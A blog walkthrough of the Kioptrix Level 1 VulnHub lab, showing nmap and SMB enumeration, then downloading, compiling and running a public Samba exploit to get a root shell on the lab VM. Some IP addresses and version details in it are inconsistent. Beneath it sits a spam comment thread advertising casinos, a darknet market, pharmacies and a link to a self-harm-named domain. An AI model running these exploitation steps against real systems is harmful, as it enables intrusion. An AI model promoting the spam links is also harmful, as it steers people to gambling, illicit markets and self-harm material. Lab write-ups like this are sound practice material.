Kioptrix: Level 1

Setup

The VM can be downloaded from here: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

I had to modify the virtual machine configuration file BEFORE I open up the VM in VMWare Player. So, right click on it and open in Notepad:

After that, do a search for “Bridged” and change it to “NAT”

This will allow the IP address to be automatically assigned appropriately.

Analysis

Let’s start with a netdiscover scan from our Kali box to see what the IP is of our new machine:

netdiscover -r 192.168.226.0/24

We’re going to assume the 192.168.226.141 box is our target machine.

Nmap Scan

Starting with a very basic nMap scan, nothing too fancy: nmap -sV 192.168.174.141

HTTP

Since this box has port 80 and 443 open, we’ll start by navigating to our web browser and going to the IP address:

Nothing exciting to look at here. Let’s dig a little further

SMB

We see from our nmap scan that port 139 is open, which we know is used for SMB. Samba has some vulnerabilities, so let’s see if we can determine the exact version of Samba running on the target machine.

We’ll start with enum4linux to see if we can gather some more information. Let’s use the command enum4linux -a 192.168.174.141

Once the scan completes, we see a wealth of information. If we scroll down to the OS information box, we can see there’s nothing helpful in there.

Ok, so onto the next tool. Let’s try smbclient with the command smbclient -L 192.168.174.141

And still nothing. Let’s move to the nMap scripting engine and see what we can discover: nmap -p 139 –script=smb-vuln* 192.168.174.141

Now we are getting somewhere. While we don’t get the exact Samba version, we do get the CVE number. Looking at this, though, it says that it’s affiliated with Microsoft, and is a Windows exploit. If we re-do our initial nMap scan with the -A flag, we find out that our target machine is running Linux, so we can scratch that exploit off the map.

Out of desperation, I took a chance and ran this exploit: https://www.exploit-db.com/exploits/10

It works great on any version of Samba less than 2.2.8, and since it’s super easy to run. First download the exploit with this command: wget -O samba-exploit.c https://www.exploit-db.com/download/10

  • -o specifies to output a file

Getting root is trivial at this point, provided the script works and the Samba version on the target machine is vulnerable to our exploit. First we need to compile our recently downloaded script with this command: gcc samba-exploit.c -o samba-2.2.1a-exploit

Next, we run the exploit: ./samba-2.2.1a-exploit -b 0 192.168.174.141

  • We get the -b 0 from the script itself, which indicates using a 0 for bruteforce.

After execution, a simple whoami and pwd indicates that everything worked.

Back to HTTP

Let’s say we didn’t want to roll the dice on the Samba exploit, since we weren’t positive what the version of it was. Lets look back a bit.

Looking at the initial information for port 80, we see that OpenSSL is running 2.8.4. There’s an exploit for it, but it takes some tinkering with the code, more than I have time to do right now. Perhaps later.

23 thoughts on “Kioptrix: Level 1”

  1. На этом сайте можно найти информацией о телешоу “Однажды в сказке”, его сюжете и главных персонажах. на этом сайте Здесь размещены интересные материалы о создании шоу, исполнителях ролей и любопытных деталях из-за кулис.

  2. На территории Российской Федерации сертификация имеет большое значение в обеспечении качества и безопасности товаров и услуг. Прохождение сертификации нужно как для производителей, так и для потребителей. Документ о сертификации гарантирует соответствие товара нормам и требованиям. Особенно это актуально для товаров, влияющих на здоровье и безопасность. Сертификация помогает повысить доверие к бренду. Также это часто является обязательным условием для выхода на рынок. Таким образом, соблюдение сертификационных требований обеспечивает стабильность и успех компании.
    сертификация продукции

  3. you’re truly a good webmaster. The site loading pace is incredible. It sort of feels that you’re doing any unique trick. Furthermore, The contents are masterwork. you’ve performed a magnificent job on this subject!

  4. На этом ресурсе вы найдете клинику психологического здоровья, которая обеспечивает поддержку для людей, страдающих от стресса и других психологических расстройств. Мы предлагаем индивидуальный подход для восстановления ментального здоровья. Врачи нашего центра готовы помочь вам решить трудности и вернуться к гармонии. Опыт наших врачей подтверждена множеством положительных обратной связи. Обратитесь с нами уже сегодня, чтобы начать путь к восстановлению.
    http://jeffreyhutchisonandassoc.com/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Fpreparations%2Fo%2Folanzapin%2F

  5. На этом сайте вы найдете центр ментального здоровья, которая обеспечивает поддержку для людей, страдающих от тревоги и других психических расстройств. Мы предлагаем эффективные методы для восстановления психического здоровья. Наши опытные психологи готовы помочь вам справиться с трудности и вернуться к психологическому благополучию. Опыт наших психологов подтверждена множеством положительных обратной связи. Обратитесь с нами уже сегодня, чтобы начать путь к оздоровлению.
    http://leverinjurylawyers.com/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Fpreparations%2Ff%2Ffenibut%2F

  6. Regardless of the popularity of modern wearable tech, classic wristwatches remain iconic.
    Many people still appreciate the intricate design behind classic automatics.
    Unlike modern wearables, that become outdated, mechanical watches hold their value through generations.
    https://forum.graylite.com/viewtopic.php?t=138500
    Prestigious watchmakers continue to release new traditional watches, showing that their appeal is as high as ever.
    For many, an automatic timepiece is not just a way to tell time, but a symbol of heritage.
    While smartwatches come with modern tech, traditional timepieces represent an art form that stands the test of time.

  7. BlackSprut – платформа с особыми возможностями
    BlackSprut удостаивается обсуждения многих пользователей. Но что это такое?
    Данный ресурс предоставляет широкие возможности для аудитории. Интерфейс платформы характеризуется простотой, что делает его понятной без сложного обучения.
    Необходимо помнить, что данная система обладает уникальными характеристиками, которые отличают его на рынке.
    При рассмотрении BlackSprut важно учитывать, что многие пользователи оценивают его по-разному. Многие выделяют его возможности, другие же рассматривают неоднозначно.
    В целом, эта платформа продолжает быть темой дискуссий и привлекает внимание разных пользователей.
    Ищете рабочее ссылку BlackSprut?
    Если ищете обновленный сайт БлэкСпрут, вы на верном пути.
    https://bs2best
    Иногда ресурс перемещается, и тогда приходится искать новое ссылку.
    Свежий адрес легко найти здесь.
    Посмотрите рабочую версию сайта прямо сейчас!

  8. Онлайн-слоты — это одна из самых популярных категорий развлечений в сфере гемблинга.
    Основная суть этих игр состоит в выпадении символов, что создают комбинации.
    Любая такая игра имеет уникальные механики, многочисленные иконки и специальные бонусы, которые добавляют азарта.
    Эти игры бывают на классические и новые, где можно встретить разные уровни сложности.
    слот зеркала
    Многие ценят слоты за простоту правил и способность увлечь с минимумом тактических решений.
    Новые игровые автоматы могут включать дополнительные бонусные игры, что добавляет динамики.
    В итоге, игровые автоматы остаются одним из самых востребованных вариантов отдыха в мире азартных игр.

  9. Our platform offers a wide selection of slot games, suitable for all types of players.
    On this site, you can find traditional machines, modern video slots, and huge-win machines with stunning graphics and realistic audio.
    No matter if you’re into simple gameplay or seek complex features, this site has something that suits you.
    https://himki.myqip.ru/?1-11-0-00009837-000-0-0-1742184170
    All games is playable around the clock, no download needed, and perfectly tuned for both PC and mobile.
    Besides slots, the site provides tips and tricks, special offers, and community opinions to help you choose.
    Join now, spin the reels, and enjoy the thrill of online slots!

  10. Heart health is fundamental to longevity and quality of life. Understanding risk factors like diet, exercise, smoking, and genetics is crucial. Learning the signs of heart attack and stroke can be life-saving. Familiarity with medical preparations used for cardiovascular conditions is vital. Knowing about blood thinners, statins, or blood pressure meds requires clear info. Access to evidence-based information supports heart-healthy choices. The iMedix podcast prioritizes topics like cardiovascular health due to its importance. It stands as a top podcast for understandable medical explanations. Listen to the iMedix health podcast for heart health strategies. iMedix: Your Personal Health Advisor for a healthy heart.

  11. Taking one’s own life is a complex issue that touches countless lives across the world.
    It is often connected to emotional pain, such as bipolar disorder, stress, or substance abuse.
    People who struggle with suicide may feel isolated and believe there’s no hope left.
    how-to-kill-yourself.com
    Society needs to raise awareness about this subject and offer a helping hand.
    Early support can save lives, and reaching out is a brave first step.
    If you or someone you know is in crisis, get in touch with professionals.
    You are not forgotten, and there’s always hope.

  12. На этом сайте вы можете играть в обширной коллекцией слотов.
    Эти слоты славятся красочной графикой и интерактивным игровым процессом.
    Каждая игра даёт индивидуальные бонусные функции, повышающие вероятность победы.
    1xbet игровые автоматы
    Игра в слоты подходит любителей азартных игр всех мастей.
    Вы можете играть бесплатно, и потом испытать азарт игры на реальные ставки.
    Проверьте свою удачу и получите удовольствие от яркого мира слотов.

  13. На нашем портале вам предоставляется возможность наслаждаться большим выбором слотов.
    Эти слоты славятся живой визуализацией и захватывающим игровым процессом.
    Каждая игра даёт уникальные бонусные раунды, улучшающие шансы на успех.
    one win
    Игра в слоты подходит как новичков, так и опытных игроков.
    Вы можете играть бесплатно, после чего начать играть на реальные деньги.
    Испытайте удачу и насладитесь неповторимой атмосферой игровых автоматов.

  14. On this platform, you can find a great variety of casino slots from top providers.
    Players can experience retro-style games as well as feature-packed games with vivid animation and interactive gameplay.
    If you’re just starting out or an experienced player, there’s a game that fits your style.
    casino
    All slot machines are available anytime and optimized for laptops and mobile devices alike.
    No download is required, so you can get started without hassle.
    Platform layout is easy to use, making it simple to find your favorite slot.
    Register now, and discover the thrill of casino games!

  15. Площадка BlackSprut — это одна из самых известных онлайн-площадок в даркнете, предлагающая разнообразные сервисы в рамках сообщества.
    В этом пространстве доступна удобная навигация, а структура меню простой и интуитивный.
    Гости отмечают стабильность работы и жизнь на площадке.
    bs2best.markets
    Площадка разработана на комфорт и минимум лишней информации при работе.
    Кому интересны инфраструктуру darknet, BlackSprut может стать хорошим примером.
    Перед использованием не лишним будет прочитать информацию о работе Tor.

  16. On this platform, you can access lots of slot machines from top providers.
    Visitors can enjoy retro-style games as well as modern video slots with vivid animation and interactive gameplay.
    Even if you’re new or an experienced player, there’s a game that fits your style.
    casino games
    The games are instantly accessible round the clock and designed for laptops and smartphones alike.
    All games run in your browser, so you can jump into the action right away.
    Site navigation is intuitive, making it quick to find your favorite slot.
    Join the fun, and discover the thrill of casino games!

  17. Текущий модный сезон обещает быть непредсказуемым и экспериментальным в плане моды.
    В тренде будут свободные силуэты и неожиданные сочетания.
    Актуальные тона включают в себя чистые базовые цвета, выделяющие образ.
    Особое внимание дизайнеры уделяют тканям, среди которых популярны макросумки.
    https://payhip.com/MaxBezel/blog/news/luchshie-letnie-luki-s-cvetochnym-platem-sovety-stilistov-lepodium
    Набирают популярность элементы нулевых, интерпретированные по-новому.
    В новых коллекциях уже можно увидеть трендовые образы, которые впечатляют.
    Следите за обновлениями, чтобы вписаться в тренды.

  18. Данный ресурс предлагает поиска занятости в Украине.
    На сайте размещены разные объявления от проверенных работодателей.
    Мы публикуем варианты занятости в разнообразных нишах.
    Удалённая работа — решаете сами.
    https://my-articles-online.com/
    Сервис легко осваивается и подходит на всех пользователей.
    Оставить отклик производится в несколько кликов.
    Нужна подработка? — начните прямо сейчас.

  19. On this platform, you can access a wide selection of online slots from famous studios.
    Visitors can enjoy retro-style games as well as modern video slots with stunning graphics and interactive gameplay.
    If you’re just starting out or an experienced player, there’s always a slot to match your mood.
    money casino
    All slot machines are available 24/7 and optimized for PCs and tablets alike.
    All games run in your browser, so you can get started without hassle.
    Site navigation is intuitive, making it simple to browse the collection.
    Sign up today, and discover the world of online slots!

  20. Were you aware that over 60% of patients make dangerous drug mistakes because of poor understanding?

    Your physical condition is your most valuable asset. All treatment options you make directly impacts your long-term wellbeing. Being informed about the drugs you take isn’t optional for disease prevention.
    Your health isn’t just about taking pills. Each drug changes your biological systems in potentially dangerous ways.

    Never ignore these critical facts:
    1. Mixing certain drugs can cause dangerous side effects
    2. Even common allergy medicines have serious risks
    3. Altering dosages reduces effectiveness

    For your safety, always:
    ✓ Research combinations via medical databases
    ✓ Study labels completely before taking new prescriptions
    ✓ Ask your pharmacist about potential side effects

    ___________________________________
    For reliable medication guidance, visit:
    https://www.provenexpert.com/gen7t-lotion/

Leave a Reply

Your email address will not be published. Required fields are marked *